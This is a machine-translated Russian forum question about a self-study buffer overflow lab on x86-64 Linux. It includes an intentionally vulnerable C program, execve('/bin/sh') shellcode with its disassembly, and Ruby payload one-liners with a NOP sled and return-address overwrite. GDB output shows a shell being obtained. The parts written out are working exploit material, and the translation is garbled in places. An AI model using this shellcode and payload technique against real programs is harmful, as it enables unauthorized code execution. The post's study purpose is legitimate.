Примечание: Я уже задавал этот вопрос в Stackoverflow на португальском языке: https://pt.stackoverflow.com/questions/76571/seguran%C3%A7a-syscall-dentro-de-shellcode-n%C3%A3o-executa. Но это, кажется, очень сложный вопрос, поэтому этот вопрос - это просто перевод вопроса на португальском языке.Syscall внутри shellcode не будет работать
Я изучаю Информационную безопасность и выполняя некоторые эксперименты, пытаясь использовать эксплойт классический случай переполнения буфера.
Мне удалось создать shell-код , его инъекцию внутри уязвимой программы и ее выполнение. Моя проблема в том, что syscall до execve()
для получения оболочки не работает.
Более подробную информацию:
это код уязвимой программы (составитель в Ubuntu 15.04 x88-64 со следующими Gcc флагами: «-fno-стек-протектор -z execstack -g» и при выключенном ASLR):
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int do_bof(char *exploit) {
char buf[128];
strcpy(buf, exploit);
return 1;
}
int main(int argc, char *argv[]) {
if(argc < 2) {
puts("Usage: bof <any>");
return 0;
}
do_bof(argv[1]);
puts("Failed to exploit.");
return 0;
}
Это небольшая программа сборки, которая порождает оболочку, а затем выходит. Обратите внимание, что этот код будет работать независимо. Это: если я собираю, связываю и запускаю этот код один, он будет работать.
global _start
section .text
_start:
jmp short push_shell
starter:
pop rdi
mov al, 59
xor rsi, rsi
xor rdx, rdx
xor rcx, rcx
syscall
xor al, al
mov BYTE [rdi], al
mov al, 60
syscall
push_shell:
call starter
shell:
db "/bin/sh"
Это выходом objdump -d -M Intel вышеуказанной программы, где Шеллкод были извлечены из (примечание: язык вывода является португальский):
spawn_shell.o: formato do arquivo elf64-x86-64
Desmontagem da seção .text:
0000000000000000 <_start>:
0: eb 16 jmp 18 <push_shell>
0000000000000002 <starter>:
2: 5f pop rdi
3: b0 3b mov al,0x3b
5: 48 31 f6 xor rsi,rsi
8: 48 31 d2 xor rdx,rdx
b: 48 31 c9 xor rcx,rcx
e: 0f 05 syscall
10: 30 c0 xor al,al
12: 88 07 mov BYTE PTR [rdi],al
14: b0 3c mov al,0x3c
16: 0f 05 syscall
0000000000000018 <push_shell>:
18: e8 e5 ff ff ff call 2 <starter>
000000000000001d <shell>:
1d: 2f (bad)
1e: 62 (bad)
1f: 69 .byte 0x69
20: 6e outs dx,BYTE PTR ds:[rsi]
21: 2f (bad)
22: 73 68 jae 8c <shell+0x6f>
Эта команда будет полезной нагрузки, которая впрыснуть шеллкода наряду с необходимой NOP sleed и обратный адрес, который будет перезаписать оригинальный обратный адрес:
ruby -e 'print "\x90" * 103 + "\xeb\x13\x5f\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x0f\x05\x30\xc0\x88\x07\xb0\x3c\x0f\x05\xe8\xe8\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\xd0\xd8\xff\xff\xff\x7f"'
До сих пор я уже отлаживал свою программу с помощью шелкода, введенного очень осторожно, обращая внимание на регистр RIP, видя, где выполнение идет не так. Я обнаружил, что:
- Обратный адрес правильно перезаписан и выполнение переходит к моему шеллкоду.
- Выполнение идет хорошо до линии «e:» моей программы сборки, где происходит syscall до
execve()
. - Syscall просто не работает, даже если регистр правильно настроен для выполнения системного вызова. Как ни странно, после этой строки все биты регистра RAX и RCX настроены.
Результатом является то, что выполнение переходит к неусловному переходу, который снова вызывает адрес оболочки, а цикл бесконечности запускается до тех пор, пока программа не завершится сбой в SEGFAULT.
Это основная проблема: Syscall не будет работать.
Некоторые примечания:
- Некоторые скажут, что мои «/ бен/ш» строки должно быть нулем. Ну, это не кажется необходимым, nasm, похоже, неявно задает нулевой байт, и моя программа сборки работает, как я уже сказал.
- Помните, что это 64-битный шелл-код.
Этот шелкод работает в следующем коде:
char shellcode[] = "\xeb\x0b\x5f\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x0f\x05\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; int main() { void (*func)(); func = (void (*)()) shellcode; (void)(func)(); }
Что случилось с моим шеллкода?
EDIT 1:
Благодаря ответу Jester, то первая проблема была решена. Кроме того, я обнаружил, что в шеллкоде нет требования к работе в одиночку. Новый код Ассамблеи для шеллкода:
spawn_shell: formato do arquivo elf64-x86-64
Desmontagem da seção .text:
0000000000400080 <_start>:
400080: eb 1e jmp 4000a0 <push_shell>
0000000000400082 <starter>:
400082: 5f pop %rdi
400083: 48 31 c0 xor %rax,%rax
400086: 88 47 07 mov %al,0x7(%rdi)
400089: b0 3b mov $0x3b,%al
40008b: 48 31 f6 xor %rsi,%rsi
40008e: 48 31 d2 xor %rdx,%rdx
400091: 48 31 c9 xor %rcx,%rcx
400094: 0f 05 syscall
400096: 48 31 c0 xor %rax,%rax
400099: 48 31 ff xor %rdi,%rdi
40009c: b0 3c mov $0x3c,%al
40009e: 0f 05 syscall
00000000004000a0 <push_shell>:
4000a0: e8 dd ff ff ff callq 400082 <starter>
4000a5: 2f (bad)
4000a6: 62 (bad)
4000a7: 69 .byte 0x69
4000a8: 6e outsb %ds:(%rsi),(%dx)
4000a9: 2f (bad)
4000aa: 73 68 jae 400114 <push_shell+0x74>
Если я собрать и связать его, он не будет работать, но если инъекционное это в другой программе в качестве полезной нагрузки, это будет! Зачем? Потому что, если я запускаю эту программу самостоятельно, она попытается прервать уже завершенную строку NULL «/ bin/sh». Кажется, что ОС выполняет начальную настройку даже для программ сборки. Но это неверно, если я вставляю шеллкод и многое другое: реальной причиной моего syscall не удалось - строка «/ bin/sh» не была завершена NULL во время выполнения, но работала как отдельная программа, потому что в этом случае он был NULL прекращен.
Таким образом, вы используете шелкографию, поскольку автономная программа не является доказательством того, что она работает.
Эксплуатация прошла успешно ... По крайней мере, в GDB. Теперь у меня есть новая проблема: эксплойт работает внутри GDB, но не выходит за его пределы.
$ gdb -q bof3
Lendo símbolos de bof3...concluído.
(gdb) r (ruby -e 'print "\x90" * 92 + "\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48\ x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x70\xd8\xff\xff\xff\x7f"')
Starting program: /home/sidao/h4x0r/C-CPP-Projects/security/bof3 (ruby -e 'print "\x90" * 92 + "\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48\x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x70\xd8\xff\xff\xff\x7f"')
process 13952 está executando novo programa: /bin/dash
$ ls
bof bof2.c bof3_env bof3_new_shellcode.txt bof3_shellcode.txt get_shell shellcode_exit shellcode_hello.c shellcode_shell2
bof.c bof3 bof3_env.c bof3_non_dbg func_stack get_shell.c shellcode_exit.c shellcode_shell shellcode_shell2.c
bof2 bof3.c bof3_gdb_env bof3_run_env func_stack.c shellcode_bof.c shellcode_hello shellcode_shell.c
$ exit
[Inferior 1 (process 13952) exited normally]
(gdb)
И снаружи:
$ ./bof3 (ruby -e 'print "\x90" * 92 + "\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x70\xd8\xff\xff\xff\x7f"')
fish: Job 1, “./bof3 (ruby -e 'print "\x90" * 92 + "\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48\x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x70\xd8\xff\xff\xff\x7f"')” terminated by signal SIGSEGV (Address boundary error)
Сразу я искал о нем и нашел этот вопрос: Buffer overflow works in gdb but not without it
Первоначально я думал, что это был просто вопрос незадана две переменные среды и открыть новый обратный адрес , но несоответствие двух переменных не привело к минимальной разнице:
$ gdb -q bof3
Lendo símbolos de bof3...concluído.
(gdb) unset env COLUMNS
(gdb) unset env LINES
(gdb) r (ruby -e 'print "\x90" * 92 + "\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48\x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x70\xd8\xff\xff\xff\x7f"')
Starting program: /home/sidao/h4x0r/C-CPP-Projects/security/bof3 (ruby -e 'print "\x90" * 92 + "\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48\x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x70\xd8\xff\xff\xff\x7f"')
process 14670 está executando novo programa: /bin/dash
$
Итак, теперь это второй вопрос: почему эксплойт работает внутри GDB, но не выходит за его пределы?
При угадывании 'strcpy' копирует только первые 0 байт. Поэтому, если эксплоит содержит любые 0, то вы только копируете часть эксплойта до первого 0. – John3136
@ John3136, как вы можете видеть, это не так. – Jester